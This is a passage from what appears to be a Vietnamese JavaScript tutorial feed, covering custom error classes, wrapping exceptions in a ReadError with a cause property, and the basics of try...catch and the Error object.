punctuation">.</span>property <span class="token operator">=</span> property<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng</span> <span class="token keyword">function</span> <span class="token function">readUser</span><span class="token punctuation">(</span><span class="token parameter">json</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>user<span class="token punctuation">.</span>age<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">PropertyRequiredError</span><span class="token punctuation">(</span><span class="token string">"age"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">PropertyRequiredError</span><span class="token punctuation">(</span><span class="token string">"name"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> user<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Ví dụ với try..catch</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token function">readUser</span><span class="token punctuation">(</span><span class="token string">'{ "age": 25 }'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err <span class="token keyword">instanceof</span> <span class="token class-name">ValidationError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Invalid data: "</span> <span class="token operator">+</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Invalid data: No property: name</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// PropertyRequiredError</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>property<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// name</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err <span class="token keyword">instanceof</span> <span class="token class-name">SyntaxError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"JSON Syntax Error: "</span> <span class="token operator">+</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> err<span class="token punctuation">;</span> <span class="token comment">// lỗi không xác định, rethrow error</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Class mới <code>PropertyRequiredError</code> rất dễ sử dụng. Bạn chỉ cần truyền tên thuộc tính <code>new PropertyRequiredError(property)</code>. Sau đó, thông tin <code>message</code> cụ thể được sẽ được sinh ra từ hàm khởi tạo.</p> <p><strong>Chú ý:</strong></p> <ul> <li><code>this.name</code> trong hàm <code>PropertyRequiredError</code> được tạo lại một cách thủ công. Điều đó là không cần thiết khi chỉ định <code>this.name = &#x3C;class name></code> trong mọi class lỗi tùy chỉnh.</li> <li>Bạn có thể tránh lặp lại bằng cách tạo ra class "lỗi cơ bản" và chỉ định <code>this.name = this.constructor.name</code>. Và sau đó kế thừa tất cả các lỗi tùy chỉnh từ đó.</li> </ul> <p>Giả sử, mình gọi class đó là <code>MyError</code>, đoạn code trên có thể sửa thành:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">MyError</span> <span class="token keyword">extends</span> <span class="token class-name">Error</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">message</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>constructor<span class="token punctuation">.</span>name<span class="token punctuation">;</span></span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">ValidationError</span> <span class="token keyword">extends</span> <span class="token class-name">MyError</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">PropertyRequiredError</span> <span class="token keyword">extends</span> <span class="token class-name">ValidationError</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">property</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span><span class="token string">"No property: "</span> <span class="token operator">+</span> property<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>property <span class="token operator">=</span> property<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// giá trị của `name` là chính xác</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">PropertyRequiredError</span><span class="token punctuation">(</span><span class="token string">"field"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// PropertyRequiredError</span></code></pre></div> <p>Bây giờ, các lỗi tùy chỉnh đã ngắn gọn hơn nhiều. Ví dụ như class <code>ValidationError</code> trên, vì bạn đã loại bỏ câu lệnh <code>"this.name = ..."</code> trong hàm tạo.</p> <h2 id="đóng-gói-các-ngoại-lệ" style="position:relative;"><a href="#%C4%91%C3%B3ng-g%C3%B3i-c%C3%A1c-ngo%E1%BA%A1i-l%E1%BB%87" aria-label="đóng gói các ngoại lệ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đóng gói các ngoại lệ</h2> <p>Mục đích của hàm <code>readUser</code> trên là <strong>đọc dữ liệu người dùng</strong>. Và có thể xảy ra các loại lỗi khác nhau trong quá trình này.</p> <p>Bây giờ, bạn có <code>SyntaxError</code> và <code>ValidationError</code>. Nhưng sau này hàm <code>readUser</code> phát triển và có thể tạo ra các loại lỗi khác.</p> <p>Đoạn code gọi <code>readUser</code> sẽ xử lý những lỗi này: sử dụng nhiều câu lệnh <code>if</code> trong khối <code>catch</code>, kiểm tra lớp, xử lý các lỗi đã biết và <code>throw</code> các lỗi chưa biết như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token comment">// ...</span> <span class="token function">readUser</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tiềm ẩn lỗi</span> <span class="token comment">// ...</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err <span class="token keyword">instanceof</span> <span class="token class-name">ValidationError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// xử lý lỗi xác thực</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err <span class="token keyword">instanceof</span> <span class="token class-name">SyntaxError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// xử lý lỗi cú pháp</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> err<span class="token punctuation">;</span> <span class="token comment">// lỗi không biết, throw error</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đoạn code trên, bạn thấy mình xử lý hai loại lỗi, nhưng thực tế có thể nhiều lỗi hơn.</p> <p>Nếu hàm <code>readUser</code> tạo ra một số loại lỗi, thì câu hỏi đặt ra là: <strong>bạn có thực sự muốn kiểm tra từng loại lỗi một không?</strong></p> <p>Thường thì câu trả lời là <strong>Không</strong>.</p> <p>Thực tế, mình chỉ muốn biết liệu có <strong>lỗi đọc dữ liệu</strong> hay không? Nguyên nhân chính xác lỗi đó lại xảy ra thường không liên quan đến thông báo mô tả lỗi. Hoặc, thậm chí tốt hơn, mình muốn có một cách để lấy chi tiết lỗi, nhưng chỉ khi cần thiết.</p> <p>Kỹ thuật ở đây có thể được gọi là <strong>đóng gói các ngoại lệ</strong> hay <strong>wrapping exceptions</strong>:</p> <ol> <li>Mình tạo một class mới là <code>ReadError</code> - để biểu thị lỗi chung khi "đọc dữ liệu".</li> <li>Hàm <code>readUser</code> sẽ bắt các lỗi đọc dữ liệu xảy ra bên trong, chẳng hạn như <code>ValidationError</code> hay <code>SyntaxError</code> và sẽ đó tạo ra một lỗi <code>ReadError</code>.</li> <li>Đối tượng <code>ReadError</code> sẽ giữ tham chiếu đến lỗi ban đầu trong thuộc tính <code>cause</code>.</li> </ol> <p>Sau đó, các đoạn code gọi <code>readUser</code> sẽ chỉ phải kiểm tra <code>ReadError</code>, không phải mọi loại lỗi đọc dữ liệu. Và nếu cần thêm thông tin chi tiết về lỗi thì có thể kiểm tra thêm thuộc tính <code>cause</code>.</p> <p>Đây là đoạn code về <code>ReadError</code> và cách sử dụng trong hàm <code>readUser</code> và <code>try..catch</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">ReadError</span> <span class="token keyword">extends</span> <span class="token class-name">Error</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">message<span class="token punctuation">,</span> cause</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>cause <span class="token operator">=</span> cause<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"ReadError"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">ValidationError</span> <span class="token keyword">extends</span> <span class="token class-name">Error</span> <span class="token punctuation">{</span> <span class="token comment">/*...*/</span> <span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">PropertyRequiredError</span> <span class="token keyword">extends</span> <span class="token class-name">ValidationError</span> <span class="token punctuation">{</span> <span class="token comment">/* ... */</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">validateUser</span><span class="token punctuation">(</span><span class="token parameter">user</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>user<span class="token punctuation">.</span>age<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">PropertyRequiredError</span><span class="token punctuation">(</span><span class="token string">"age"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">PropertyRequiredError</span><span class="token punctuation">(</span><span class="token string">"name"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">readUser</span><span class="token punctuation">(</span><span class="token parameter">json</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> user<span class="token punctuation">;</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> user <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err <span class="token keyword">instanceof</span> <span class="token class-name">SyntaxError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">ReadError</span><span class="token punctuation">(</span><span class="token string">"Syntax Error"</span><span class="token punctuation">,</span> err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> err<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token function">validateUser</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err <span class="token keyword">instanceof</span> <span class="token class-name">ValidationError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">ReadError</span><span class="token punctuation">(</span><span class="token string">"Validation Error"</span><span class="token punctuation">,</span> err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> err<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token function">readUser</span><span class="token punctuation">(</span><span class="token string">"{bad json}"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>e <span class="token keyword">instanceof</span> <span class="token class-name">ReadError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// SyntaxError: Unexpected token b in JSON at position 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Original error: "</span> <span class="token operator">+</span> e<span class="token punctuation">.</span>cause<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> e<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đoạn code trên, hàm <code>readUser</code> hoạt động chính xác như mô tả - bắt lỗi cú pháp hay xác thực và ném ra lỗi <code>ReadError</code>.</p> <p>Vì vậy, đoạn code bên ngoài chỉ cần kiểm tra <code>instanceof ReadError</code> là xong, không cần liệt kê tất cả các loại lỗi có thể xảy ra.</p> <p>Phương pháp này được gọi là <strong>đóng gói các ngoại lệ</strong>. Bởi vì, mình lấy các ngoại lệ <strong>cấp thấp</strong> và <strong>bọc</strong> các ngoại lệ vào trong một class trừu tượng hơn <code>ReadError</code>.</p> <p>Đây là một trong những tính chất quan trọng được sử dụng rộng rãi trong lập trình hướng đối tượng.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <ul> <li>Bạn có thể kế thừa từ class <code>Error</code> và các <strong>built-in class</strong> khác một cách bình thường. Bạn chỉ cần chú ý đến thuộc tính <code>name</code> và gọi hàm <code>super</code> trong hàm khởi tạo.</li> <li>Có thể sử dụng <code>instanceof</code> để kiểm tra các lỗi cụ thể. Toán tử này cũng hoạt động với class kế thừa. Nhưng đôi khi bạn gặp một đối tượng lỗi đến từ thư viện của bên thứ 3 và không dễ dàng để lấy được class từ đó. Khi đó, thuộc tính <code>name</code> có thể được sử dụng để kiểm tra loại lỗi.</li> <li>Đóng gói các ngoại lệ là một kỹ thuật phổ biến: một hàm xử lý các ngoại lệ cấp thấp và tạo ra các lỗi cấp cao hơn thay vì các lỗi cấp thấp khác nhau. Các ngoại lệ cấp thấp có thể trở thành thuộc tính của đối tượng đó, như <code>err.cause</code> trong các ví dụ trên. Tuy nhiên, điều đó không bắt buộc phải nghiêm ngặt.</li> </ul> <p>Tham khảo: <a href="https://javascript.info/custom-errors">Custom errors, extending Error</a></p>[email protected]<![CDATA[Quản lý lỗi với try catch trong JavaScript]]><![CDATA[Cho dù bạn giỏi lập trình đến đâu thì đôi khi các đoạn code của bạn vẫn có lỗi. Chúng có thể là do lỗi lập trình, do người dùng nhập dữ liệu không mong muốn, phản hồi sai từ máy…]]>https://completejavascript.com/quan-ly-loi-voi-try-catch-trong-javascript/https://completejavascript.com/quan-ly-loi-voi-try-catch-trong-javascript/<![CDATA[Error]]>Wed, 05 Jul 2017 08:00:00 GMT<p>Cho dù bạn giỏi lập trình đến đâu thì đôi khi các đoạn code của bạn vẫn có lỗi. Chúng có thể là do lỗi lập trình, do người dùng nhập dữ liệu không mong muốn, phản hồi sai từ máy chủ và rất nhiều lý do khác...</p> <p>Thông thường, khi chương trình bị <strong>crash</strong> (dừng lại) do lỗi thì lỗi sẽ được in ra <a href="/dev-tools-la-gi/">console</a> ngay lập tức.</p> <p>Tuy nhiên, JavaScript có một cấu trúc cú pháp là <code>try...catch</code> cho phép bạn <strong>bắt lỗi</strong> để làm điều gì đó hợp lý hơn thay vì để chương trình <strong>crash</strong> như:</p> <ul> <li>Hiển thị thông báo lỗi.</li> <li>Thay đổi giao diện để hiển thị lỗi.</li> <li>...vv</li> </ul> <h2 id="cú-pháp-trycatch" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-trycatch" aria-label="cú pháp trycatch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp "try...catch"</h2> <p>Cú pháp <code>try...catch</code> có hai khối chính là <code>try</code>, và sau đó là <code>catch</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token comment">// code...</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// xủ lý lỗi</span> <span class="token punctuation">}</span></code></pre></div> <p>Cách hoạt động của try-catch như sau:</p> <ol> <li>Đầu tiên, đoạn mã trong <code>try {...}</code> được thực thi.</li> <li>Nếu không có lỗi thì <code>catch (err)</code> bị bỏ qua, việc thực thi đến cuối <code>try</code> và tiếp tục, bỏ qua <code>catch</code>.</li> <li>Nếu có lỗi xảy ra thì quá trình thực thi <code>try</code> bị dừng và chương trình chuyển đến đầu <code>catch (err)</code>. Trong đó, biến <code>err</code> (bạn có thể sử dụng bất kỳ tên nào tùy thích) sẽ chứa một đối tượng lỗi với thông tin chi tiết về lỗi đã xảy ra.</li> </ol> <p>Vì vậy, lỗi xảy ra bên trong <code>try {...}</code> sẽ không làm chương trình bị crash - và sau đó bạn có thể làm gì đó trong <code>catch</code>.</p> <p>Sau đây là một số ví dụ:</p> <ul> <li> <p>Ví dụ không có lỗi thì đoạn code <code>console.log</code> tại <code>(1)</code> và <code>(2)</code> được thực thi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Start of try runs"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (1) &lt;--</span> <span class="token comment">//...đoạn code không có lỗi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"End of try runs"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) &lt;--</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Catch is ignored, because there are no errors"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3)</span> <span class="token punctuation">}</span></code></pre></div> </li> <li> <p>Ví dụ có lỗi thì hiển thị <code>(1)</code> và <code>(3)</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Start of try runs"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (1) &lt;--</span> aha<span class="token punctuation">;</span> <span class="token comment">// lỗi xảy ra, vì biến aha chưa được định nghĩa</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"End of try (never reached)"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2)</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Error has occurred!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3) &lt;--</span> <span class="token punctuation">}</span></code></pre></div> </li> </ul> <p><strong>Chú ý:</strong></p> <p>► Cú pháp <code>try...catch</code> chỉ hoạt động ở <strong>runtime</strong>. Nói cách khác, đoạn code chứa trong <code>try</code> phải đúng cú pháp.</p> <p>Ví dụ đoạn code sai cú pháp sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token punctuation">{</span></span><span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"The engine can't understand this code, it's invalid"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Đầu tiên, <a href="/javascript-la-gi/">JavaScript engine</a> đọc mã, và sau đó thực thi. Các lỗi xảy ra trong giai đoạn đọc mã được gọi là lỗi <strong>compile</strong> và không thể khôi phục được. Bởi vì JavaScript Engine không thể hiểu được đoạn mã đó.</p> <p>Vì vậy, <code>try...catch</code> chỉ xử lý được các lỗi xảy ra trong đoạn mã hợp lệ. Những lỗi như vậy được gọi là lỗi <strong>runtime</strong> hoặc đôi khi là <strong>ngoại lệ</strong> hay <strong>exception</strong>.</p> <p>► Cú pháp <strong>try-catch</strong> hoạt động <strong>đồng bộ</strong>.</p> <p>Đó là bởi vì bản thân hàm được thực thi ngay sau đó, khi quá trình thực thi đã rời khỏi khối <code>try...catch</code>.</p> <p>Để <strong>bắt một ngoại lệ</strong> bên trong một hàm với <strong>setTimeout</strong>, khối <code>try...catch</code> phải được đặt bên trong hàm đó như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> abc<span class="token punctuation">;</span> <span class="token comment">// lỗi xảy ra vì biến chưa định nghĩa</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"error is caught here!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="đối-tượng-error" style="position:relative;"><a href="#%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-error" aria-label="đối tượng error permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đối tượng Error</h2> <p>Khi có lỗi xảy ra, JavaScript tạo ra một đối tượng chứa thông tin chi tiết về lỗi. Đối tượng này được truyền dưới dạng tham số đến <code>catch</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token comment">//...</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// đối tượng err - bạn có thể dùng tên bất kỳ</span> <span class="token punctuation">}</span></code></pre></div> <p>Đối với tất cả các lỗi có sẵn (built-in error), đối tượng <strong>Error</strong> có hai thuộc tính chính là:</p> <ul> <li><code>name</code>: tên lỗi, ví dụ: đối với một biến không xác định là <code>"ReferenceError"</code>.</li> <li><code>message</code>: đoạn string thông báo chi tiết về lỗi.</li> </ul> <p>Ngoài ra, còn các thuộc tính khác cũng có sẵn trong hầu hết các môi trường. Một trong những thuộc tính được sử dụng và hỗ trợ rộng rãi nhất là: <code>stack</code>.</p> <p>Thuộc tính <code>stack</code> hay <strong>ngăn xếp</strong> - <strong>call stack</strong> - thông tin về <strong>chuỗi các lời gọi hàm lồng nhau</strong>, được sử dụng cho mục đích gỡ lỗi (debug).</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> aha<span class="token punctuation">;</span> <span class="token comment">// lỗi, biến chưa được định nghĩa</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token 